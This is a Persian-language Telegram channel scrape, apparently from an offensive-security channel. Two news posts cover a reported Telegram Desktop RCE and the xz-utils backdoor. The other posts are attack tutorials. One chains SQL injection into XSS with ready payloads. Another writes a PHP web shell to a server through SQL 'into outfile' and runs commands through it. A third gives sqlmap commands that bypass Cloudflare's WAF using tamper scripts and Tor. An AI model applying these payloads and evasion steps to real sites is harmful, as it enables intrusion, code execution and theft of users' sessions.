2 285
Підписники
Немає даних24 години
-47 днів
-930 день
Архів дописів
2 285
UTC: تلگرام وجود آسیبپذیری RCE را برای مشتریان تلگرام رد کرد، در حالی که برخی از کارشناسان امنیتی ادعا کردند که این یک مشکل شناخته شده است.
بر اساس گزارش جدیدی که توسط شرکت امنیتی بلاک چین CertiK منتشر شده است، یک آسیب پذیری بزرگ در پیام رسان تلگرام، کاربران را در معرض حملات مخرب قرار می دهد.
CertiK Alert در 9 آوریل از پلتفرم رسانه اجتماعی X استفاده کرد تا به مردم در مورد "آسیب پذیری پرخطر در طبیعت" هشدار دهد ، که به طور بالقوه به هکرها اجازه می دهد تا از طریق پردازش رسانه ای تلگرام، یک حمله اجرای کد از راه دور (RCE) را اجرا کنند.
طبق این پست، تیم CertiK یک حمله "احتمالی RCE" را در پردازش رسانه تلگرام در برنامه دسکتاپ تلگرام کشف کرده است.
CertiK نوشت: «این مشکل کاربران را از طریق فایلهای رسانهای ساختهشده خاص، مانند تصاویر یا ویدیوها، در معرض حملات مخرب قرار میدهد.
یکی از سخنگویان CertiK به کوین تلگراف گفت که این آسیبپذیری انحصاری در اپلیکیشن تلگرام دسکتاپ است، زیرا موبایل «مستقیماً برنامههای اجرایی مانند رایانههای رومیزی را که معمولاً به امضا نیاز دارند، اجرا نمیکند». این نماینده خاطرنشان کرد که اخبار مربوط به این موضوع از سوی جامعه امنیتی رسیده است.
برای جلوگیری از آسیب پذیری، کاربران باید تنظیمات دسکتاپ تلگرام خود را بررسی کرده و ویژگی دانلود خودکار را غیرفعال کنند. این ویژگی را می توان با رفتن به "تنظیمات" و سپس ضربه زدن روی "پیشرفته" غیرفعال کرد
2 285
یک مهندس نرم افزار در مایکروسافت در حال کار برروی نسخه ناپایدار و ادج توزیع دبیان بوده است که به اصطلاح به این نسخهها ، نسخه های Testing میگویند. این مهندس نرم افزار بصورت اتفاقی متوجه میشود که هنگام برقراری اتصال به سرویس SSH تغییراتی در میزان لود CPU و تاخیر زمانی 500 میلی ثانیه اتفاق میفتد.این تغییرات اونقدر کوچک هستند که کمتر کسی میتواند به این موضوع مشکوک شود و تقریبا همه افراد اینچنین موضوعات را به پای اختلالات اینترنتی و شبکه و ... میگذارند اما این مهندس نرم افزار شرکت مایکروسافت موضوع را پیگیری کرده و متوجه میشود یک بکدور در کتابخانه liblzma بسته نرم افزاری xz-utils وجود دارد. این مهندس نرم افزار باتوجه به احتمالاتی که میدهد اقدام به بررسی اجزای مختلف تشکیل دهنده سرویس SSH میکند و همچنین توزیع دبیان Testing را نیز مورد بررسی قرار میدهد چرا که این مشکل میتوانست از منشا خوده توزیع دبیان و یا کرنل لینوکس قرار گرفته برروی آن باشد.در نهایت با مقایسه بسته های نرم افزاری اجزای تشکیل دهنده سرویس SSH در نسخه Testing و Stable دبیان متوجه میشوند که کتابخانه liblzma در بسته نرم افزاری xz-utils دارای درب پشتی است. همچنین قابل ذکر است نسخه های جدید بسته نرم افزاری xz-utils که در واقع نسخه های 5.6.0 و 5.6.1 هستند این مشکل را دارند و بدلیل اینکه این نسخه ها هنوز وارد مخازن نسخه های Stable دبیان نشده بودند خوشبختانه فقط نسخه های Testing آلوده شده بودند. همچنین میتوان نتیجه گرفت این مشکل به توزیع دبیان مربوط نمیشود بلکه تمامی توزیع های لینوکسی که از بسته نرم افزاری xz-utils نسخه های 5.6.0 و 5.6.1 استفاده میکردند دارای این درب پشتی هستند که لیست آن توزیع ها را میتوانید در عکس پایین مشاهده کنید:
2 285
در 29 مارس 2024، یک بکدور در یک بسته محبوب به نام XZ Utils در لیست پستی Openwall اعلام شد . این ابزار شامل کتابخانه ای به نام liblzma است که توسط SSHD، بخش مهمی از زیرساخت اینترنت مورد استفاده برای دسترسی از راه دور استفاده می شود. وقتی بارگذاری میشود، CVE-2024-3094 بر احراز هویت SSHD تأثیر میگذارد که به طور بالقوه اجازه دسترسی مزاحمان را بدون توجه به روش میدهد.
نسخه های تحت تأثیر: 5.6.0، 5.6.1
توزیع های تحت تأثیر: فدورا 41، فدورا راوید
┌<(channel>>>>)-[~]
└< (main)* >─» @Team_Exploit
2 285
برای رسیدن به SiXSS باید مراحل زیر را طی کنیم.
من این روش را خیلی دوست ندارم زیرا خطا را در صفحه وب فلش می کند و در بسیاری از موارد ممکن است کل صفحه را دریافت نکنید، اما فقط یک صفحه خالی با خطا است و اصلا جالب نیست. اما از آنجایی که این یکی از راهها نیز هست، به عنوان مثال یک وبسایت آسیبپذیر را در نظر میگیریم.
exploitable-web.com/link.php?id=1
وقتی یک نقل قول را در انتهای وب سایت قرار می دهیم ممکن است با خطای مشابه مواجه شویم.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 1
خوب این اولین نکته ای است که می توانیم XSS را به وب سایت تزریق کنیم. بنابراین این بار به جای تنها نقل قول، این را تزریق می کنیم:
' ;<img src=x onerror=prompt(/XSS/)>تزریق بالا یک کادر محاوره ای را نشان می دهد که XSS می گوید. این یکی حمله اساسی است. حالا بیایید ببینیم چگونه می توانیم XSS را به روشی بهتر تزریق کنیم. تزریق XSS به Query. هنگامی که دریافت Number of Column انجام شد و ما برای Union Query آماده هستیم. فرض کنید 4 ستون داریم، بنابراین کوئری اتحادیه ما به صورت زیر خواهد بود:
http://exploitable-web.com/link.php?id=1' union select 1,2,3,4--فرض کنید ستون 3 به عنوان خروجی در صفحه وب چاپ می شود. بنابراین بار XSS خود را به آن تزریق می کنیم. برای ساده کردن کارها، بار خود را به صورت هگز کدگذاری می کنیم. بار تزریق XSS ما :
<img src=x onerror=confirm(/XSS/)>مقدار کدگذاری شده Hex :
0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5853532f293e
تزریق پیلود ما:
http://exploitable-web.com/link.php?id=-1' union select 1,2,0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5853532f293e,4--لینک XSS ما را به وب سایت خروجی می دهد. این یکی از پیلود های اولیه XSS است، اکنون ما آزاد هستیم تا با استفاده از XSS کارهای دیگری مانند سرقت کوکی، فیشینگ XSS، فیشینگ XSS iFrame، XSS زنجیرهای، ربودن جلسه، حمله CSRF، XssDdos و سایر حملات را انجام دهیم . جمع اوری و ترجمه شده از سایت Sqli to Xss ┌<(channel>>>>)-[~] └< (main)* >─» @Team_Exploit
2 285
اولین کاری که انجام می دهیم این است که بررسی کنیم sql در کجا روی سرور اجرا می شود. این کار با تزریق دستور @@datadir به پرس و جوی sql انجام می شود تا مسیر کامل مکان آن در سرور به دست آید.
مثال:
با فرض اینکه بازتابی را در ستون دوم پیدا کنیم، بار زیر را وارد خواهیم کرد:
union select 1,@@datadir,3,4 --
union select 1,<php_payload>,3,4 into outfile <path> --
union select 1,'<?php system($_GET["cmd"]); ?>',3,4 intooutfile 'C:\\xampp\\htdocs\\rce.php' --
<host>/rce.php?cmd=<command>
2 285
نحوه بای پس WAF با sqlmap
اول از همه، شما باید مطمئن شوید که سایت مورد نظر توسط Cloudflare محافظت می شود، می توانید برای تایید " — ID-waf" را اضافه کنید. با این حال، " — thread=" را بزرگتر از 1 قرار ندهید زیرا هدف به شما خطای "403 Forbidden" می دهد. هنگامی که "خطای 403" را دریافت کردید، آدرس IP شما بلاک می شود. بنابراین، شما باید در نظر داشته باشید که از سرورهای پروکسی یا TOR برای دسترسی به هدف استفاده کنید.
شما باید " — tamper='between,randomcase,space2comment'" و "-v 3" رو اضافه کنید ، در صورتی که هدف محافظت شده توسط Cloudflare تایید شده باشد. همچنین میتوانید در صورت لزوم «--random-agent» و «-tor» را اضافه کنید.
برای استفاده موفقیت آمیز tor ممکن است نیاز به نصب privoxy داشته باشید
sudo apt install privoxy -y
sudo /etc/init.d/privoxy start
python sqlmap.py -u "https://www.target.com/" --identify-waf --tamper="between,randomcase,space2comment" -v 3 --random-agent --tor
